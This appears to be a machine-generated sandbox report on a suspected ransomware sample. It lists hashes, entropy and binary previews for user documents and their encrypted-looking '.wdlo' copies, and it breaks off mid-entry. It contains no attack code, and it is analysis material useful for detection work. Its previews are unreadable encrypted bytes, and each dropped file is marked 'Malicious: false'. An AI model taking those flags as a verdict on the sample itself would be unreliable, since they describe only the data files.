Preview:	KLIZU..s\!.\Yv..1...5.?...=!...U1......]W.......\....S..w/..7\..v.!.0D.......k.P..?EGK.....U.R.G....g.....&e`.......-...T\...>...5....W.c...M.h@.N...,..$%...2x.....\.....4.k}..P.GF....7.._y.L.r.....`......M..5BZ.C..>....Q..i9.=.s.l.?.....?..bH...qX.....t...N.4:P...i......H..G..6.>.w...%..Bh.6#..\|.n...A.8...D..Y..~............l.w..(M..r...?...X..e....Hf.9.9p.5.T..f.t.]R....3.e.p.;.1\|.>b...>.a.c.7.>.sMMLZ-.h......H........KsRK..(b..tCE0..J.....-(?~Z..\.f.(oZ......h..)[..'..H=#v6.S.F.Dq#.q....ct.2.....<..."".3....=.....v..1..KC.S\|{.....UQ.......(..^x..N)"..y_Q3.7.........F...YY....b..-.........z[.x..$..&KSTV.._Wi.wo....]n.S._q...O...;.].).vJ2..]6+...w.:....o......@X.....Lx......2.E.d.......4.(k\|L.k.{5rD...y.B..k....FI@....&.&D(..Rp>.B....J.......C..2...b.c.r../....hmv\|......)t8...7+...I.p.....=.`........~.. gFZT.aH......Z.x..L.._.%5>8...P.....4.F.q..s...b.(...y~.-.y.M6.G.a.3.../3M.,oWP.{...g......Q0.7........N3~....&...w...(.A5-.:x.

C:\Users\user\Documents\KLIZUSIQEN.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852156782452996
Encrypted:	false
SSDEEP:	24:bqdZWuvdeHyl6ak1naM8w5XtnEtRfSpqgpRcCUxgGx5vBTTwbjnvpWmL0hVNnBST:evNJ4Tf1EtRfSBvcCUOGxxBTTwbjn8UJ
MD5:	2E4F8BFD11F6B1050B5F6B812F483918
SHA1:	5DCD2DA0048F39F4D19944340CA10D224791E4E8
SHA-256:	F85FA836EE9A9221468C657E8752D34AEA177211E9BA2732C09FB06F4CF01B9C
SHA-512:	CEECE5935A7047B6BCD5710AC351E0EBC70D00DE8DED65086FA04FAAE35D0C66AB1616CE9A65071E7EE9B98FC61C045741D04360A40543B23AADF438204391AC
Malicious:	false
Preview:	KLIZU.8....4l..8.^C.%.....s.r...W.k...P..1...:v.[1)..$h`. ?.N..@...b%@.2j..?w...q.....}..@%.a....R0..CX..^..............,C..:..g......X.!.;....C_.a.b..$/....5....@..#.D.5)%..G.w.....p...N...."..e...q.7.Z..,.Al&^...7.z3H..U.R@.~.d.......6.....z....}...z.._`....F+...AZ.5..r0./1w.o.....H.L\~.z.&@..=.+.Dr.i.K....,..i.aCWmh&=...e....L4~.......R...\|. ....u~.X!S?8.1...(_..T>..j1....1(.....m..#"..l.N...V~..\0.u%r....#/.jGf\A.....Be.Su....>.m#F(..I,..$.#...IXq0...?Y..n.'.l......R.t....`%...m.....@..5.4%..-..>.....#c.q.U..m._h...)v\.0..aQ ......'.l...O3.0W]..^T..M.e.h..5.6{....GQ.^8.F..c..B.....aHZ.H.K'.>......gOOM/...6.3.:?.w.g...f..uu+1Z../2vQ........n\|......x=..w..>...%.~.o.X.g.jLC.p...fu.....I_..)....N01s.{....3..5..xM.(.g....3_....j..7e....h0x.@.i....'..U.!.II.....am....nT.2..f.....r.@D.....g~N.D..8.z!(u_lL....].@..6..f9.....f.9.J..VS..MI.&......>......$Q.f...uXpvR...l..v.%..<P..K.....+7.....kF..Ig">/.a.]....r....\|.N.e.}f.+N.i..^-...

C:\Users\user\Documents\KLIZUSIQEN.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852156782452996
Encrypted:	false
SSDEEP:	24:bqdZWuvdeHyl6ak1naM8w5XtnEtRfSpqgpRcCUxgGx5vBTTwbjnvpWmL0hVNnBST:evNJ4Tf1EtRfSBvcCUOGxxBTTwbjn8UJ
MD5:	2E4F8BFD11F6B1050B5F6B812F483918
SHA1:	5DCD2DA0048F39F4D19944340CA10D224791E4E8
SHA-256:	F85FA836EE9A9221468C657E8752D34AEA177211E9BA2732C09FB06F4CF01B9C
SHA-512:	CEECE5935A7047B6BCD5710AC351E0EBC70D00DE8DED65086FA04FAAE35D0C66AB1616CE9A65071E7EE9B98FC61C045741D04360A40543B23AADF438204391AC
Malicious:	false
Preview:	KLIZU.8....4l..8.^C.%.....s.r...W.k...P..1...:v.[1)..$h`. ?.N..@...b%@.2j..?w...q.....}..@%.a....R0..CX..^..............,C..:..g......X.!.;....C_.a.b..$/....5....@..#.D.5)%..G.w.....p...N...."..e...q.7.Z..,.Al&^...7.z3H..U.R@.~.d.......6.....z....}...z.._`....F+...AZ.5..r0./1w.o.....H.L\~.z.&@..=.+.Dr.i.K....,..i.aCWmh&=...e....L4~.......R...\|. ....u~.X!S?8.1...(_..T>..j1....1(.....m..#"..l.N...V~..\0.u%r....#/.jGf\A.....Be.Su....>.m#F(..I,..$.#...IXq0...?Y..n.'.l......R.t....`%...m.....@..5.4%..-..>.....#c.q.U..m._h...)v\.0..aQ ......'.l...O3.0W]..^T..M.e.h..5.6{....GQ.^8.F..c..B.....aHZ.H.K'.>......gOOM/...6.3.:?.w.g...f..uu+1Z../2vQ........n\|......x=..w..>...%.~.o.X.g.jLC.p...fu.....I_..)....N01s.{....3..5..xM.(.g....3_....j..7e....h0x.@.i....'..U.!.II.....am....nT.2..f.....r.@D.....g~N.D..8.z!(u_lL....].@..6..f9.....f.9.J..VS..MI.&......>......$Q.f...uXpvR...l..v.%..<P..K.....+7.....kF..Ig">/.a.]....r....\|.N.e.}f.+N.i..^-...

C:\Users\user\Documents\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8647472697253304
Encrypted:	false
SSDEEP:	24:FjZslXaroj93rRrYjZaLlBXcmf6K9twqBs7l0cmx0Q3EeNMTSRlW3zbD:Flsxa8jR+jYXbvfwqsVmx0QUBWW3nD
MD5:	6581CB66A8FE90C9C549D4E2499ED451
SHA1:	B08F5A5AA94DAF87A12BA363ACA92D3BA283B196
SHA-256:	1E994F2734AAE9265CA1DFA06B2F2873C81F079DDA17C27BE13273E794D68211
SHA-512:	94210F801F86985CF8A9D3A08062EFEE0762A973BE7AA1D7A383434032A8409208002BDB0ACFA3BF5A7DD404848D88F364C8E25E2A881039BD0121F8FE566D8E
Malicious:	false
Preview:	NVWZA.~..AJ0<...asc..<..ek..p-p...Y..n..~O.Ni....J...".]%.9.'zzY..Hv.0.....yn....\`/}<5.[.9..)....-.$.....5..K9.cj.xqx......UQ.).L..=............@\0..i~..y..E9:.h....F.]$.o'.2...........W.`xU.a~@..K.kJ....9.....=t?R..Nn<...$..q.}.......!..I.l!i.#Djq..FZT/..0=+..c..}...bU.R..\e......CF.8...R..B.O....?.x..7s......a._,...&......a.V.u.:...X2I...)+.....T..\|K..[...w..X....&Xj...WB..O6_.X..\N.......4E.......C.#."....mh..46j.)_B..'.....v.l...N...t....?X2...L.H....Rx..$.?.B....'.bx.....u........c)...o3...&MK..$.....X......4..7.....g..,.\...c......}...I....g..5...w....u...../".N...Y.......5.Z;...f.......5.[v#lC...A.2_.Uq...=..2...$.U.'[G'.5........K..x7..b...G.BqL.......h0T:..;..&.V,U~...1V..L. ,W......W...x..a...lS<+&...C..5.vh.{.U`a.p.I.,Q...tmA.p".Oo.u..../..W.%o..y........ .r.:...Q.z..._..P..?q..:$?X}..F.....t7...KWm\H.#9....G.)j..=....../.....:.....S0.$.U...N..k.....\|...8.;.r..z...~.........m..K....1..`C.r;.q... .......Q..7.......&....O..

C:\Users\user\Documents\NVWZAPQSQL.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8647472697253304
Encrypted:	false
SSDEEP:	24:FjZslXaroj93rRrYjZaLlBXcmf6K9twqBs7l0cmx0Q3EeNMTSRlW3zbD:Flsxa8jR+jYXbvfwqsVmx0QUBWW3nD
MD5:	6581CB66A8FE90C9C549D4E2499ED451
SHA1:	B08F5A5AA94DAF87A12BA363ACA92D3BA283B196
SHA-256:	1E994F2734AAE9265CA1DFA06B2F2873C81F079DDA17C27BE13273E794D68211
SHA-512:	94210F801F86985CF8A9D3A08062EFEE0762A973BE7AA1D7A383434032A8409208002BDB0ACFA3BF5A7DD404848D88F364C8E25E2A881039BD0121F8FE566D8E
Malicious:	false
Preview:	NVWZA.~..AJ0<...asc..<..ek..p-p...Y..n..~O.Ni....J...".]%.9.'zzY..Hv.0.....yn....\`/}<5.[.9..)....-.$.....5..K9.cj.xqx......UQ.).L..=............@\0..i~..y..E9:.h....F.]$.o'.2...........W.`xU.a~@..K.kJ....9.....=t?R..Nn<...$..q.}.......!..I.l!i.#Djq..FZT/..0=+..c..}...bU.R..\e......CF.8...R..B.O....?.x..7s......a._,...&......a.V.u.:...X2I...)+.....T..\|K..[...w..X....&Xj...WB..O6_.X..\N.......4E.......C.#."....mh..46j.)_B..'.....v.l...N...t....?X2...L.H....Rx..$.?.B....'.bx.....u........c)...o3...&MK..$.....X......4..7.....g..,.\...c......}...I....g..5...w....u...../".N...Y.......5.Z;...f.......5.[v#lC...A.2_.Uq...=..2...$.U.'[G'.5........K..x7..b...G.BqL.......h0T:..;..&.V,U~...1V..L. ,W......W...x..a...lS<+&...C..5.vh.{.U`a.p.I.,Q...tmA.p".Oo.u..../..W.%o..y........ .r.:...Q.z..._..P..?q..:$?X}..F.....t7...KWm\H.#9....G.)j..=....../.....:.....S0.$.U...N..k.....\|...8.;.r..z...~.........m..K....1..`C.r;.q... .......Q..7.......&....O..

C:\Users\user\Documents\NWCXBPIUYI.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848606783443669
Encrypted:	false
SSDEEP:	24:onoN5Z9KYJB97sG0fbqUFqiXtItTCOMD1b2UPkqw+QrTHjUMdaLytEn3zbD:onc9TJBEmKtnb2UPKfHj3daKw3nD
MD5:	7E68E257AABC91194A208EF0165FC303
SHA1:	87076F877A145328B7621EA01052E5468579916F
SHA-256:	150570A510B28CA47D378A5F55770C9EC9E23F329D64C687FD663A8F32B4ABB5
SHA-512:	EE618A90E362AC460122B8BA96FF1706594900167362403F55D79DFB0A49522C8FD05B226B57D44F9991248F8D31CAE35F0B67031BAC6BE8D0CFE5C9D3ABDE54
Malicious:	false
Preview:	NWCXB.?..."....a.W.....-.... .b.c...\|.g..d..zB...=......I.5...N#..(.`....q......tS.4.......)!.~ioA~....[.....k4..;lo..H.;f>...m.f..9.Se..8...[R.. .....QS{....NO]?.M..R....>.j.F.9O.:..;x.U'...?.mPJ8.......h/..G.8.:`=0R.F\.m..W.n......k......:&.di.,.....\|.q...^{.........R.,.4}...(.......S...~.RS......<dk;.~T.G.I...#..)..H......a.e..K..Sp...DO?@...Y.EiJY......3...+.e..1.T..\|..Zka(U...G..l......C...G..r..CV..M.Q.Q......7.G...]."r.fHz....}p.m...cH..(A...b.p....1.o...zQ.p}.....!...r>\|..}o......g]/J0`e<......+..M.........5.._.~...P.j..J.x0....5.cL...wN.`7t......tB.....N....Gi.c.N..p-.{....md......8.$......E..b.#XBw}....}.....J'g.iO...O....Q...k..xP.'V.=.........[\|...B...E..%.f.;..7\D`...0t..{s.6.....p.4R.....\|.+...S.yFtw,ND$....Hb.J.....mL..8..!.p.u.>PC......i+"w...(....@z......-......#z0.................`(d.4t.8.1K9.....2.c..Ya...J......./.P689+,tG.%...w..O.v.s.....r...C(........8?O.j.^xY}.\T...-...~.l^~..E....V.A..4/.....E.wV.<.~(.

C:\Users\user\Documents\NWCXBPIUYI.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848606783443669
Encrypted:	false
SSDEEP:	24:onoN5Z9KYJB97sG0fbqUFqiXtItTCOMD1b2UPkqw+QrTHjUMdaLytEn3zbD:onc9TJBEmKtnb2UPKfHj3daKw3nD
MD5:	7E68E257AABC91194A208EF0165FC303
SHA1:	87076F877A145328B7621EA01052E5468579916F
SHA-256:	150570A510B28CA47D378A5F55770C9EC9E23F329D64C687FD663A8F32B4ABB5
SHA-512:	EE618A90E362AC460122B8BA96FF1706594900167362403F55D79DFB0A49522C8FD05B226B57D44F9991248F8D31CAE35F0B67031BAC6BE8D0CFE5C9D3ABDE54
Malicious:	false
Preview:	NWCXB.?..."....a.W.....-.... .b.c...\|.g..d..zB...=......I.5...N#..(.`....q......tS.4.......)!.~ioA~....[.....k4..;lo..H.;f>...m.f..9.Se..8...[R.. .....QS{....NO]?.M..R....>.j.F.9O.:..;x.U'...?.mPJ8.......h/..G.8.:`=0R.F\.m..W.n......k......:&.di.,.....\|.q...^{.........R.,.4}...(.......S...~.RS......<dk;.~T.G.I...#..)..H......a.e..K..Sp...DO?@...Y.EiJY......3...+.e..1.T..\|..Zka(U...G..l......C...G..r..CV..M.Q.Q......7.G...]."r.fHz....}p.m...cH..(A...b.p....1.o...zQ.p}.....!...r>\|..}o......g]/J0`e<......+..M.........5.._.~...P.j..J.x0....5.cL...wN.`7t......tB.....N....Gi.c.N..p-.{....md......8.$......E..b.#XBw}....}.....J'g.iO...O....Q...k..xP.'V.=.........[\|...B...E..%.f.;..7\D`...0t..{s.6.....p.4R.....\|.+...S.yFtw,ND$....Hb.J.....mL..8..!.p.u.>PC......i+"w...(....@z......-......#z0.................`(d.4t.8.1K9.....2.c..Ya...J......./.P689+,tG.%...w..O.v.s.....r...C(........8?O.j.^xY}.\T...-...~.l^~..E....V.A..4/.....E.wV.<.~(.

C:\Users\user\Documents\NYMMPCEIMA.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8276624428022386
Encrypted:	false
SSDEEP:	24:npjdTBN15E1knfq3w13+lW2Owh8Cp+k7wro12fgytNbLVGtm72ZRSLBO63zbD:npjv5Eanfkw13+lW2Oap+U8fgyzLVG2t
MD5:	A6AE9ED67794DCB962112EBCDE13AF2C
SHA1:	15E588FBE70B51223058F79CFE887ABCBE8ABA61
SHA-256:	BE81487F20CC4CD532C918C8516710B25A149BD4E043FE7B36B65197713BAC95
SHA-512:	DF76C628F1F53776D71FDDBB60F7D781500A51928A14D3DED4385D0BB5B7E62CD6FB73FAA7BFB32F519B5BD3A1F8AFBA328A0DEEFFD18E5940757A2CC525BAAC
Malicious:	false
Preview:	NYMMP^0.5fm~..B....o.I..>Cycbi.A.=.3^;&...LiS.7)4-s.$.V@pB...s....mw.QQ..c.....k-..U..l....D.e. 0.-...4.D.tZ[......k}..}...G..\|C..b....h.s..D....>..#-....e....m0..1...U.........._Z..Nr......TO..mA...9Umv.*6....D7."...%b.r@......d.Rm.........._......8~....F/X..S^j3.wD.U....N..i.0..@...... o.s>...].Dfb...D,.x&1U............T..._P..,..\./.Otu.1..ci.s<_dx...L.)..m...t...8eU...-O......}..q;....!.-.R.F..[.0;..\P............u....x..V.._...x...Z.b..vIL.....c..I.16....g9./.z.y.S...i#...R.4..)j...c.c.!.#.Gs.u...X.....&M.....T.....@..#Q-.\|k.....i..$\|).E.O.bk....N...K.m.+B.`./....\fi...jc..%...eg.^"g^:f........../u.`<y.P0Vkp........%-..2.IE."b.}.e..Vd.}.#mzc.%Tb...!3.........Q...S.\.......i.k.=t..q.G..0..t_.7O...DP...a0.......qC.<.".^5T.>Bz%.RsS2...N.}.N.P.......t...>....^...~5.....J.)...P.....,.%7..=...].\9Sl.t......3.8.....P..$T.....V..p.-..?.l8kc@.=.).x.....L.+.T......'R.V..;.I................. g-}..j9=?{..l:.v7..+...T..7.G..0)l.z.T1Ed0........$.

C:\Users\user\Documents\NYMMPCEIMA.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8276624428022386
Encrypted:	false
SSDEEP:	24:npjdTBN15E1knfq3w13+lW2Owh8Cp+k7wro12fgytNbLVGtm72ZRSLBO63zbD:npjv5Eanfkw13+lW2Oap+U8fgyzLVG2t
MD5:	A6AE9ED67794DCB962112EBCDE13AF2C
SHA1:	15E588FBE70B51223058F79CFE887ABCBE8ABA61
SHA-256:	BE81487F20CC4CD532C918C8516710B25A149BD4E043FE7B36B65197713BAC95
SHA-512:	DF76C628F1F53776D71FDDBB60F7D781500A51928A14D3DED4385D0BB5B7E62CD6FB73FAA7BFB32F519B5BD3A1F8AFBA328A0DEEFFD18E5940757A2CC525BAAC
Malicious:	false
Preview:	NYMMP^0.5fm~..B....o.I..>Cycbi.A.=.3^;&...LiS.7)4-s.$.V@pB...s....mw.QQ..c.....k-..U..l....D.e. 0.-...4.D.tZ[......k}..}...G..\|C..b....h.s..D....>..#-....e....m0..1...U.........._Z..Nr......TO..mA...9Umv.*6....D7."...%b.r@......d.Rm.........._......8~....F/X..S^j3.wD.U....N..i.0..@...... o.s>...].Dfb...D,.x&1U............T..._P..,..\./.Otu.1..ci.s<_dx...L.)..m...t...8eU...-O......}..q;....!.-.R.F..[.0;..\P............u....x..V.._...x...Z.b..vIL.....c..I.16....g9./.z.y.S...i#...R.4..)j...c.c.!.#.Gs.u...X.....&M.....T.....@..#Q-.\|k.....i..$\|).E.O.bk....N...K.m.+B.`./....\fi...jc..%...eg.^"g^:f........../u.`<y.P0Vkp........%-..2.IE."b.}.e..Vd.}.#mzc.%Tb...!3.........Q...S.\.......i.k.=t..q.G..0..t_.7O...DP...a0.......qC.<.".^5T.>Bz%.RsS2...N.}.N.P.......t...>....^...~5.....J.)...P.....,.%7..=...].\9Sl.t......3.8.....P..$T.....V..p.-..?.l8kc@.=.).x.....L.+.T......'R.V..;.I................. g-}..j9=?{..l:.v7..+...T..7.G..0)l.z.T1Ed0........$.

C:\Users\user\Documents\PALRGUCVEH.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86718211740252
Encrypted:	false
SSDEEP:	24:/siiOZOVfNGN/5EXEm8xBFGd6Ag8xg+p54sIFTohaY8Z2BavALn3zbD:/lxZO2vIEm8xBFGRg8xSsoTs3rLn3nD
MD5:	4B10122B0BCC057B22C5FD4E8B8D898C
SHA1:	308252CA93FE65269C2C3B1E6708710E8B3F7B01
SHA-256:	07CC87B3CB49B95D760BAD07DB73010E332B0C12BCF8C0541A4CDCCF2D268261
SHA-512:	6093E056791D1246E6842E88A0D1B9B913F44F1E42FFEF12F74F44FFCF0FCAFFC389C926C56ABD44C386387BA73F45625EBB164D94FC038D72F774A521D41F47
Malicious:	false
Preview:	PALRG. ...HS.8[.O@=+zZ..=. ...-.v.....q...u.,..`...j...L....V....7.X....+.......!..1.+`/...0.y....d.......3..f\.X...&=. ....,......#H..~..MJ=w.7.6d....~..i.G.M...3@?/...w..nk..T.+.......v./y..P..). .Z..b.9..6.. ...... ..Ok!:.q).+..3.oA.@.n:.}n..aq..uT.@2._b.~..<.K.e.aL.....R;N...~..~..O.....@ui...1i.......>.....z.H..a..D.....!.',5.[...s...H(..&aJ.i.....%.^.3/M..3+.?k.,..N.....L%......J.....+..,..3..v4.....&BX.C6..(.zAhO...I[....(....[BR(.9q..g.....t.....H....+}..c...6.U......^dS>.s......4.H...5-.:".).U(..<..n(.R.zV.`Sw.SH;..a.. ......u............4?...2).[Q.b?.D....j....cE...l.S...n.$X...y[$d...i:(...;............<F.3.8.^]}..fl.q......_7._.D.l.3..<.j.y^t.j.....q....{.DU...r....b...dMo..<....z+.f...Tu'^Aw..V....B..j+....7.].Po........'../...CN..'.BI.o.,..Y.&.6:...Z.6.v..Fm......t....xP.D(Z.P....\|$0.....+.4z.....=..!...c.Y."P..........$.....a...}........=.%....ft.2...Qq..{.m. ...G.V+.z2.-.s=......;..M.s..-%P.ab........J

C:\Users\user\Documents\PALRGUCVEH.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86718211740252
Encrypted:	false
SSDEEP:	24:/siiOZOVfNGN/5EXEm8xBFGd6Ag8xg+p54sIFTohaY8Z2BavALn3zbD:/lxZO2vIEm8xBFGRg8xSsoTs3rLn3nD
MD5:	4B10122B0BCC057B22C5FD4E8B8D898C
SHA1:	308252CA93FE65269C2C3B1E6708710E8B3F7B01
SHA-256:	07CC87B3CB49B95D760BAD07DB73010E332B0C12BCF8C0541A4CDCCF2D268261
SHA-512:	6093E056791D1246E6842E88A0D1B9B913F44F1E42FFEF12F74F44FFCF0FCAFFC389C926C56ABD44C386387BA73F45625EBB164D94FC038D72F774A521D41F47
Malicious:	false
Preview:	PALRG. ...HS.8[.O@=+zZ..=. ...-.v.....q...u.,..`...j...L....V....7.X....+.......!..1.+`/...0.y....d.......3..f\.X...&=. ....,......#H..~..MJ=w.7.6d....~..i.G.M...3@?/...w..nk..T.+.......v./y..P..). .Z..b.9..6.. ...... ..Ok!:.q).+..3.oA.@.n:.}n..aq..uT.@2._b.~..<.K.e.aL.....R;N...~..~..O.....@ui...1i.......>.....z.H..a..D.....!.',5.[...s...H(..&aJ.i.....%.^.3/M..3+.?k.,..N.....L%......J.....+..,..3..v4.....&BX.C6..(.zAhO...I[....(....[BR(.9q..g.....t.....H....+}..c...6.U......^dS>.s......4.H...5-.:".).U(..<..n(.R.zV.`Sw.SH;..a.. ......u............4?...2).[Q.b?.D....j....cE...l.S...n.$X...y[$d...i:(...;............<F.3.8.^]}..fl.q......_7._.D.l.3..<.j.y^t.j.....q....{.DU...r....b...dMo..<....z+.f...Tu'^Aw..V....B..j+....7.].Po........'../...CN..'.BI.o.,..Y.&.6:...Z.6.v..Fm......t....xP.D(Z.P....\|$0.....+.4z.....=..!...c.Y."P..........$.....a...}........=.%....ft.2...Qq..{.m. ...G.V+.z2.-.s=......;..M.s..-%P.ab........J

C:\Users\user\Documents\QCOILOQIKC.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860259509172942
Encrypted:	false
SSDEEP:	24:JLTb+DOesT/DExwXwf+rEMoUg4CHNrU+LCvGxRHNIpDs6db+lIr3zbD:JLT9eo/I+r84CtQyCv2RHNIpDs6j3nD
MD5:	840B3FD012B049BF512A95FE59590DC0
SHA1:	F3F39CA7911738054BC7594616B2331DF14AF46A
SHA-256:	DC126A9B86A5D65B32D577285D51003B3362038048D20C9D65C69BA1E0823452
SHA-512:	A1B9BED1B74D1BEE794EFB121365CF7DBFD43534A6197370864AA64E689002ECF28E1B53C221CC851A6E1C2A7AB5A5803AB787DFD0E0612E2B3FCC3E9B528B08
Malicious:	false
Preview:	QCOILb......W.._....%.CSW...T......`2.._.;d\|.^..F.5.n...J.La-.......i...H~.La.....3K[..............[G{,..7..3...k...g.sR..x.(".y..s..ow.j......t....??...f}?n.U.>....st...5..X"..a;Q.^.T..p...h.=.(e.....l...#-.U...w6..Q>....-C....+....Z..6b.U...8k;g.P....9\.<H-.....DI.3.!.0.$D.]_.71...S........>,..$.......)....Hz.{..k.c.D......r.X......`%...K.$.'-\|...t.i(.&{.......v..=...Z..L.........D.....I....=W....B.....'.g.-.y.$Sx.j..w)Pq..8......V.K.r../..b..=...4.....W+.....ghzuv+....}&.n......Np.E..$..&^..<d..v\...4.t.T..#.o...>V?......&0.....~.[3...IN.=..3 ....:./$........6W.K.....#..$6j18Rg...W.ki..JzL._xA@...z....n... ..2....+...\..M..1....}.............A.V.....[..+J.M..%.1.vI....,..s....u..{ ..P ~...ps.b. .2.......Foc_.........pNj.........Y......zX.$..V...(.}.Fq;^(...b.I/K.vB.:h.NA5t...a.=D.-.7..RjN.........d.Y....Hq..u..a.s.v.B.yx..t_..q......m.....gv./I7....sxE...[......mwSJ..}K..Z.0..Y.9 K.x....X.cdd...E1......%..ejp.

C:\Users\user\Documents\QCOILOQIKC.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860259509172942
Encrypted:	false
SSDEEP:	24:JLTb+DOesT/DExwXwf+rEMoUg4CHNrU+LCvGxRHNIpDs6db+lIr3zbD:JLT9eo/I+r84CtQyCv2RHNIpDs6j3nD
MD5:	840B3FD012B049BF512A95FE59590DC0
SHA1:	F3F39CA7911738054BC7594616B2331DF14AF46A
SHA-256:	DC126A9B86A5D65B32D577285D51003B3362038048D20C9D65C69BA1E0823452
SHA-512:	A1B9BED1B74D1BEE794EFB121365CF7DBFD43534A6197370864AA64E689002ECF28E1B53C221CC851A6E1C2A7AB5A5803AB787DFD0E0612E2B3FCC3E9B528B08
Malicious:	false
Preview:	QCOILb......W.._....%.CSW...T......`2.._.;d\|.^..F.5.n...J.La-.......i...H~.La.....3K[..............[G{,..7..3...k...g.sR..x.(".y..s..ow.j......t....??...f}?n.U.>....st...5..X"..a;Q.^.T..p...h.=.(e.....l...#-.U...w6..Q>....-C....+....Z..6b.U...8k;g.P....9\.<H-.....DI.3.!.0.$D.]_.71...S........>,..$.......)....Hz.{..k.c.D......r.X......`%...K.$.'-\|...t.i(.&{.......v..=...Z..L.........D.....I....=W....B.....'.g.-.y.$Sx.j..w)Pq..8......V.K.r../..b..=...4.....W+.....ghzuv+....}&.n......Np.E..$..&^..<d..v\...4.t.T..#.o...>V?......&0.....~.[3...IN.=..3 ....:./$........6W.K.....#..$6j18Rg...W.ki..JzL._xA@...z....n... ..2....+...\..M..1....}.............A.V.....[..+J.M..%.1.vI....,..s....u..{ ..P ~...ps.b. .2.......Foc_.........pNj.........Y......zX.$..V...(.}.Fq;^(...b.I/K.vB.:h.NA5t...a.=D.-.7..RjN.........d.Y....Hq..u..a.s.v.B.yx..t_..q......m.....gv./I7....sxE...[......mwSJ..}K..Z.0..Y.9 K.x....X.cdd...E1......%..ejp.

C:\Users\user\Documents\ZGGKNSUKOP.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84659940453358
Encrypted:	false
SSDEEP:	24:JUG/UQ0iKn+YEM+V162q9v/ljCVYmeXjCjbRQAULl9SQj+FFMFAdbb93zbD:J/mi6uaN9jCVneX+yKe8FCKx3nD
MD5:	4261C8B85EDBAED92C07EC1403C032E0
SHA1:	852B10514D99DC6F5B3241D10EFA51C4584B9A39
SHA-256:	C300B148AD76097120280671C688479265003FDC31689435F6A132F7E8CCFF79
SHA-512:	EAA70EBB3ABF1D62FD8825A3E797E956DEA3CFD921ED1EC6DA93524D604BF644BBD8DB00026843804B7369838682BAEE261B076375C0C03927EDE61710E21228
Malicious:	false
Preview:	ZGGKN..v.]..3..H..8(.....E..3.a..9/\Y.#......<.........j.d.".i..a....8A.Dx..n....!.W.@..BY......>.7.Ej...a.Z,.$k.K>"M._.s.b.......B........!..kIr.Z........[...a.......\.....s..5Z..d...Fpl.$}&`.a.1......]^=../...\Q/?.e#p.GDf0.e.V....V5aI.C...cz.j.....J3....p.E..t.&..q.6.X.`...].....0..4..:.f\|.W@. ..&+j..8.Q&..z.g...I..7>H.8...v.%4Z>A#....[...h.OA"(:..R.IT..>.h...l..~/.q3C/M.t..f..0...@..G.o...iH.......C3..5...%..q.1.u..V\Q.#3R."J.:l...~T...../.g.&...a.+.a..l...s.............5..J.....I.....V./..i.=..&}JO.....s..6.J....1...G.\.M.%C.=.......X.W.......X..L.........Z.4V...^....n6..x..S.Ms....e4...[O...p.N.pc..=...w..H.UQ.~H.XM^...V..T......KK.,.\).Z.a.*.l..w...bg7. ..Aqb.../k.u0l......e^...d..IDk..4......}...~Hy=..?UZ.`...'...mr..l..~V`o.jZU3.:5K...Q....yZ..:...[f.._;.-G..F..V...kG.]x..?......Oc]...5\|}.V...I\|!....\|....'y.....J.....%Z}<d.$.a+G..}.,...Ld...."..xR.i.....}km.h.Yr.k.....p.,w._..,=.g.j...f...(.TO..P+...].co@8,...G..6...%..3

C:\Users\user\Documents\ZGGKNSUKOP.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84659940453358
Encrypted:	false
